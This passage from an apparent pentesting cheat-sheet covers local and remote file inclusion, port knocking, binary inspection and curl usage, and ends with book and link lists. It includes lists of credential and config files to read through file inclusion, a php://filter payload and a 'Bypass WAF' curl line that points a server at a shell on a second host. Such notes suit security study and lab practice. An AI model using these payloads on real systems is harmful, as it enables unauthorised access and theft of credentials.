### Local File Inclusion

#### Linux

```
/etc/passwd
/etc/shadow
/etc/issue
/etc/group
/etc/hostname

# Log Files
/var/log/apache/access.log
/var/log/apache2/access.log
/var/log/httpd/access_log
/var/log/apache/error.log
/var/log/apache2/error.log
/var/log/httpd/error_log
/var/log/messages
/var/log/cron.log
/var/log/auth.log

/var/www/html/wp-config.php                <-- Wordpress
/var/www/configuration.php                 <-- Joomla
/var/www/html/inc/header.inc.php           <-- Dolphin
/var/www/html/sites/default/settings.php   <-- Drupal
/var/www/configuration.php                 <-- Mambo
/var/www/config.php                        <-- PHP
```

#### Windows

```
C:/Windows/System32/drivers/etc/hosts
C:/Windows/Panther/Unattend/Unattended.xml
C:/Windows/Panther/Unattended.xml
C:/Windows/Panther/Unattend.txt
C:/Unattend.xml
C:/Autounattend.xml
C:/Windows/system32/sysprep

C:/inetpub/wwwroot
C:/inetpub/wwwroot/web.config
C:/inetpub/logs/logfiles

# XAMPP
C:/xampp/apache/conf/httpd.conf
C:/xampp/security/webdav.htpasswd
C:/xampp/apache/logs/access.log
C:/xampp/apache/logs/error.log
C:/xampp/tomcat/conf/web.xml
C:/xampp/tomcat/conf/tomcat-users.xml
C:/xampp/webalizer/webalizer.conf
C:/xampp/webalizer/webdav.txt
C:/xampp/apache/bin/php.ini
C:/xampp/apache/conf/httpd.conf
```

### php\://filter

```
php://filter/convert.base64-encode/resource=/var/www/html/wordpress/wp-config.php
```

### Remote File Inclusion

```
# Both the below settings need to be enabled for RFI to be successful. 
allow_url_fopen = On
allow_url_include = On
```


# Recover contents

**Recover contents from files.**

```
With the following you should be able to read contents of deleted files. 

dd if=/dev/sdb of=/tmp/somefile bs=4096
ls -lash /tmp |grep somefile
strings somefile
```


# JAR Files

Extracting JAR files and read the code.&#x20;

```
 unzip somefile.jar
 jad someothrfole.class
 cat anotherfile.jad 
 
 Graphical UI --> jad-gui
```


# Strace/Ltrace

Read the calls a binary is making

```
strace binaryname
or
ltrace binaryname
or 
strings binaryname
```

You can use Ghidra (GUI) to analyse any binary and do RE. &#x20;


# Port Knocking

#### View the port knocking config&#x20;

```
cat /etc/knockd.conf

Output will look something like this
[options]
 logfile = /var/log/knockd.log
 interface = ens31[openSSH]
 sequence = 581,280,909 
 seq_timeout = 5
 start_command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
 tcpflags = syn[closeSSH]
 sequence = 909,280,581
 seq_timeout = 5
 start_command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
 tcpflags = syn 
```

#### Port scanning in sequence.

```
for x in "581 280 909"; do nmap -Pn --max-retries 0 -p $x 10.10.10.10 && sleep 1; done
```

#### Re-scan the target

```
nmap 10.10.10.10

PORT    STATE SERVICE
22/tcp  open  ssh            <-- On the initial scan SSH was not open. Now it is.
80/tcp  open  http
443/tcp open  https
```


# Screenshots in Kali

Take screenshots

#### Imagemagick

```
---Install---
sudo apt-get install imagemagick

---Take full screenshot---
import -window root Pictures/filename.png

---Take screenshot of a particular spot---
import Pictures/filename.png
```


# Curl

Transfer a URL

**CURL** is a tool to transfer data from or to a server, using one of the supported protocols&#x20;

```
DICT, FILE, FTP, FTPS, GOPHER, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, POP3, 
POP3S, RTMP, RTSP, SCP, SFTP, SMB, SMBS, SMTP, SMTPS, TELNET and TFTP
```

#### The command is designed to work without user interaction.

```
curl:
    -v: verbose
    -F: file upload
    -X: make a request  
```

### Examples

```
##### GET example #####
curl http://www.example.com 



##### GET example with hidden info #####
curl -i http://www.example.com 



##### HEAD example #####
 curl --head http://www.example.com
or
 curl -I http://www.example.com



##### Multiple URL's #####
curl http://url1.example.com http://url2.example.com



##### Trace all connections: more than verbose #####
curl --trace-ascii output_filename.txt http://www.example.com 



##### Saves output to a file #####
curl http://www.example.com -O output_filename.txt



##### Passing username:password #####
 curl http://user:password@example.org/
or
 curl -u user:password http://example.org/
```

### Get-form

```
<form method="GET" action="junk.cgi">
 <input type=text name="birthyear">
 <input type=submit name=press value="OK">
 </form>
 
 curl "http://www.hotmail.com/when/junk.cgi?birthyear=1905&press=OK"
```

### Post-form

```
 <form method="POST" action="junk.cgi">
 <input type=text name="birthyear">
 <input type=submit name=press value=" OK ">
 </form>
 
  curl --data "birthyear=1905&press=%20OK%20"  http://www.example.com/when.cgi
```

### File Upload Post

```
<form method="POST" enctype='multipart/form-data' action="upload.cgi">
 <input type=file name=upload>
 <input type=submit name=press value="OK">
</form>

curl --form upload=@localfilename --form press=OK [URL]
```

### Hidden fields

```
<form method="POST" action="foobar.cgi">
 <input type=text name="birthyear">
 <input type=hidden name="person" value="daniel">
 <input type=submit name="press" value="OK">
</form>

 curl --data "birthyear=1905&press=OK&person=daniel" [URL]
```

### Put

```
curl --upload-file uploadfile http://www.example.com/receive.cgi
```

### Location header

```
 ##### Follows redirection #####
 curl --location http://www.example.com
```

### User-Agent

```
curl -A "user-agent-name" -L 10.10.10.10

-A: sets the user-agent
-L: follows the redirection
```

**Authenticate through CLI**

```
curl -u 'username':'password' http://10.10.10.10:8080/path/to/page
curl http://username:password@10.10.10.10:8080/login

curl -X POST http://10.10.10.10:8080/login -d 'user=username&password=password'
curl -X POST http://10.10.10.10:8080/login -d 'username=username&password=password'

JSON Web Token:
curl http://10.10.10.10:8080/login -H 'Authorisation: Bearer token_here'
curl -s http://10.10.10.10:8080/users/1 -H 'Authorisation: Bearer token_here'
curl -s http://10.10.10.10:8080/users/Admin -H 'Authorisation: Bearer token_here'
```

#### Curl Call

```
curl --user username:password 10.10.10.10/pwn.php
```

#### Bypass WAF and pass data

```
curl -X POST http://10.10.10.10/some_content -H "Content-Type: application/json" -H "X-Forwarded-For: localhost" --data ‘{"user":"myusername","url":"http://10.10.10.20/shell"}’ 
```


# Resources

A collection of books, links further studying.


# Books

Several Books

Some of the books I own and recommend.&#x20;

* [Penetration Testing A Hands-On Introduction to Hacking](https://www.amazon.co.uk/Penetration-Testing-Hands-Introduction-Hacking/dp/1593275641)
* [Black Hat Python: Python Programming for Hackers and Pentesters. ](https://www.amazon.co.uk/Black-Hat-Python-Programming-Pentesters/dp/1593275900/ref=sr_1_1?keywords=Black+hat+hacking+python\&qid=1564501942\&s=gateway\&sr=8-1)
* [Operator Handbook: Red Team + OSINT + Blue Team](https://www.amazon.co.uk/Operator-Handbook-Team-OSINT-Reference/dp/B085RR67H5/ref=sr_1_1?dchild=1\&keywords=operator+handbook\&qid=1597245286\&sr=8-1)
* [Social Engineering: The Art of Human Hacking](https://www.amazon.co.uk/Social-Engineering-Art-Human-Hacking/dp/0470639539/ref=sr_1_5?s=books\&ie=UTF8\&qid=1552667684\&sr=1-5\&keywords=social+engineering)
* [Practical Packet Analysis with Wireshark](https://www.amazon.co.uk/Practical-Packet-Analysis-Wireshark-Real-World/dp/1593272669)
* [NMAP Networking Scanning](https://www.amazon.co.uk/Nmap-Network-Scanning-Official-Discovery/dp/0979958717/ref=sr_1_1?s=books\&ie=UTF8\&qid=1525383449\&sr=1-1\&keywords=NMAP+Networking+Scanning)
* [Blue Team Field Manual](https://www.amazon.co.uk/Blue-Team-Field-Manual-BTFM/dp/154101636X/ref=sr_1_1?s=books\&ie=UTF8\&qid=1525383588\&sr=1-1\&keywords=Blue+Team+Field+Manual)
* [Red Team Manual](https://www.amazon.co.uk/Rtfm-Red-Team-Field-Manual/dp/1494295504/ref=pd_bxgy_14_img_2?_encoding=UTF8\&psc=1\&refRID=PQX25QGFY2RMZBRHZVVH)
* [Python Essential Reference](https://www.amazon.co.uk/Python-Essential-Reference-Developers-Library/dp/0672329786/ref=sr_1_1?s=books\&ie=UTF8\&qid=1525383668\&sr=1-1\&keywords=Python+Essential+Reference)
* [DEVOPS Troubleshooting](https://www.amazon.co.uk/DevOps-Troubleshooting-Linux-Server-Practices/dp/0321832043/ref=sr_1_1?s=books\&ie=UTF8\&qid=1525383652\&sr=1-1\&keywords=DEVOPS+Troubleshooting)
* [Hacking 7 Exposed](https://www.amazon.co.uk/Hacking-Exposed-7-Stuart-Mcclure/dp/0071780289/ref=sr_1_1?ie=UTF8\&qid=1525384281\&sr=8-1\&keywords=hacking+7+exposed)
* [The Hacker’s playbook 2](https://www.amazon.co.uk/Hacker-Playbook-Practical-Penetration-Testing/dp/1512214566/ref=pd_bxgy_14_img_3?_encoding=UTF8\&psc=1\&refRID=29ZCA24EGFSWATKQ86FC)
* [The Code Book](https://www.amazon.co.uk/Code-Book-Secret-History-Code-breaking/dp/1857028899/ref=sr_1_1?ie=UTF8\&qid=1525384914\&sr=8-1\&keywords=the+code+book)
* [Attacking Network Protocols](https://www.amazon.co.uk/Attacking-Network-Protocols-James-Forshaw/dp/1593277504/ref=pd_sim_14_6/260-4821206-7657725?_encoding=UTF8\&pd_rd_i=1593277504\&pd_rd_r=d6d75a02-a93c-11e9-926f-9ff78f286e92\&pd_rd_w=7fjlu\&pd_rd_wg=M4trQ\&pf_rd_p=1b8636ae-4f21-4403-a813-e8849dd46de4\&pf_rd_r=KB1ZCAW7398HV6TM127Z\&psc=1\&refRID=KB1ZCAW7398HV6TM127Z)
* [Practical Malware Analysis](https://www.amazon.co.uk/Practical-Malware-Analysis-Hands-Dissecting/dp/1593272901)
* [Gray Hat Hacking](https://www.amazon.co.uk/Gray-Hacking-Ethical-Hackers-Handbook/dp/0071742557/ref=sr_1_5?crid=1JK2OKYIW7ETF\&keywords=grey+hat+hacking+book+3rd\&qid=1564501871\&s=gateway\&sprefix=grey+hat+%2Caps%2C125\&sr=8-5)


# Links

Useful links around the globe

{% tabs %}
{% tab title="OSINT" %}

* [Device Info](https://www.deviceinfo.me/)
* [Panopticlick](https://panopticlick.eff.org/)
* [IntelTechniques](https://inteltechniques.com/index.html)
* [Browser Audit](https://browseraudit.com/)
* [Search Code](https://searchcode.com/)
* [Detect my Browser](https://detectmybrowser.com/)
* [Browser Leaks](https://browserleaks.com/)
* [Canary Tokens](https://canarytokens.org/generate)
* [OSINT Framework](https://osintframework.com/)
  {% endtab %}

{% tab title="Malware Analysis" %}

* [Virus Total](https://www.virustotal.com/gui/home/upload)
* [Hybrid Analysis](https://www.hybrid-analysis.com/)
* [URL Query](https://urlquery.net/)
* [Pingdom Tools](https://tools.pingdom.com/)
* [Sucuri](https://sitecheck.sucuri.net/)
* [AnLyz](https://sandbox.anlyz.io/#!/malware-dashboard)
* [App Any Run](https://app.any.run/)
* [Malware Analysis Tool](http://malwareanalysis.tools/)
  {% endtab %}

{% tab title="Cyber Operations" %}

* [Cyber Chef](https://gchq.github.io/CyberChef/)
  {% endtab %}
  {% endtabs %}


